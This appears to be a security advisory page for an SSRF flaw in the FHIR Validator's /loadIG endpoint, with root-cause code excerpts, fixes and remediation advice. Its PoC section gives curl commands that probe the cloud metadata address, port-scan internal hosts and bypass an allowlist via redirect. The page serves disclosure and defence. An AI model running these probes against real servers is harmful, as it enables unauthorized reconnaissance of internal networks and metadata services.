Java
CVE-2026-34360
MEDIUM
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.
Details
Root cause chain:
LoadIGHTTPHandler.handle()reads theigfield from user-supplied JSON and passes it directly toIgLoader.loadIg()with no validation:
// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);loadIg()callsloadIgSource(srcPackage, recursive, true)withexplore=true(IgLoader.java:153).loadIgSource()checksCommon.isNetworkPath(src)which only verifies the URL starts withhttp:orhttps:- no host/IP validation (Common.java:14-16).- The URL reaches
ManagedWebAccess.get()which callsinAllowedPaths(). This check is a no-op by default becauseallowedDomainsis initialized as an empty list, and the code explicitly returnstruewhen empty:
// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
if (allowedDomains.isEmpty()) {
return true; // DEFAULT: all domains allowed
}
// ...
}The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.
SimpleHTTPClient.get()makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated againstinAllowedPaths():
// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
HttpURLConnection.HTTP_MOVED_TEMP,
307, 308:
String location = connection.getHeaderField("Location");
url = new URL(originalUrl, location); // No domain re-validation
continue;- The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):
server = HttpServer.create(new InetSocketAddress(port), 0);- Errors propagate back to the attacker with exception details:
// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.
PoC
- Start the FHIR Validator in HTTP server mode:
java -jar validator_cli.jar -server -port 8080- Probe a cloud metadata endpoint:
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://169.254.169.254/latest/meta-data/"}'Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).
- Port scan an internal host:
# Open port - returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://10.0.0.1:8080/"}'
# Closed port - returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://10.0.0.1:9999/"}'- Redirect bypass (if allowedDomains were configured):
# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST http://<validator-host>:8080/loadIG \
-H "Content-Type: application/json" \
-d '{"ig": "http://allowed-domain.com/redir"}'The validator follows the redirect to the internal target without re-checking the domain allowlist.
Impact
An unauthenticated attacker with network access to the FHIR Validator HTTP service can:
- Probe internal network services - differentiate open/closed ports and reachable/unreachable hosts via error message analysis (connection refused vs. timeout vs. content parse errors)
- Access cloud metadata endpoints - reach AWS/GCP/Azure instance metadata services (169.254.169.254) from the validator's network position
- Map internal network topology - systematically enumerate internal hosts and services
- Bypass domain restrictions via redirects - even if allowedDomains is configured, redirect following does not re-validate targets
- Amplify reconnaissance - each
/loadIGcall withexplore=truegenerates multiple outbound requests (package.tgz, JSON, XML variants)
This is a blind SSRF - the fetched content is not directly returned. Impact is limited to network probing and error-based information leakage rather than full content exfiltration.
Recommended Fix
- Add URL validation in
LoadIGHTTPHandlerbefore passing toloadIg()- reject private/internal IP ranges and non-standard ports:
// LoadIGHTTPHandler.java - add before line 43
if (Common.isNetworkPath(ig)) {
URL url = new URL(ig);
InetAddress addr = InetAddress.getByName(url.getHost());
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress() ||
addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
sendOperationOutcome(exchange, 400,
OperationOutcomeUtilities.createError("URL targets a private/internal address"),
getAcceptHeader(exchange));
return;
}
}- Re-validate redirect targets in
SimpleHTTPClient.get()- checkinAllowedPaths()for each redirect URL:
// SimpleHTTPClient.java - inside the redirect case (after line 98)
url = new URL(originalUrl, location);
if (!ManagedWebAccess.inAllowedPaths(url.toString())) {
throw new IOException("Redirect target '" + url + "' is not in allowed domains");
}- Configure
allowedDomainsby default to restrict outbound requests to known FHIR registries (e.g.,packages.fhir.org,hl7.org), or require explicit opt-in for open access. - Add authentication to the HTTP service, at minimum for state-changing endpoints like
/loadIG.
AnalysisAI
Server-side request forgery (SSRF) in FHIR Validator HTTP service allows unauthenticated remote attackers to probe internal network services and cloud metadata endpoints via the /loadIG endpoint, which accepts arbitrary URLs without hostname or domain validation. The vulnerability defaults to allowing all outbound requests, and redirect following bypasses even configured domain restrictions. With the explore=true default setting, each request amplifies reconnaissance capability through multiple outbound HTTP calls, enabling blind network topology mapping and metadata service access.
Technical ContextAI
The FHIR Validator (org.hl7.fhir.core Maven package) implements an HTTP service with a /loadIG endpoint that processes user-supplied URLs from JSON request bodies. The root cause is a chain of incomplete security controls: LoadIGHTTPHandler passes untrusted URLs directly to IgLoader.loadIg() without validation, Common.isNetworkPath() only checks URL scheme (http/https) without verifying hostnames or IP ranges, and ManagedWebAccess.inAllowedPaths() explicitly returns true when the allowedDomains list is empty (the default configuration). SimpleHTTPClient.get() implements HTTP redirect following (301/302/307/308) up to 5 times, but does not re-validate redirect targets against the allowlist. The CWE-918 root cause is improper control of a resource that is available to an untrusted party, manifested as no hostname/IP validation before making outbound requests.
RemediationAI
Apply the vendor-released patch when available from the FHIR Core project. The recommended mitigation steps pending a patched release are: (1) Restrict network access to the FHIR Validator HTTP service using firewall rules or network segmentation-only allow connections from trusted clients; (2) disable the HTTP server mode unless specifically required for your use case; (3) if the HTTP service must be enabled, implement authentication and authorization controls to restrict access to the /loadIG endpoint; (4) configure the allowedDomains whitelist to restrict outbound requests to known FHIR registries (e.g., packages.fhir.org, hl7.org) rather than allowing all destinations. Consult the GitHub advisory at https://github.com/advisories/GHSA-3ww8-jw56-9f5h and the HL7 FHIR Core repository (https://github.com/hapifhir/org.hl7.fhir.core) for patch availability and release notes.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-3ww8-jw56-9f5h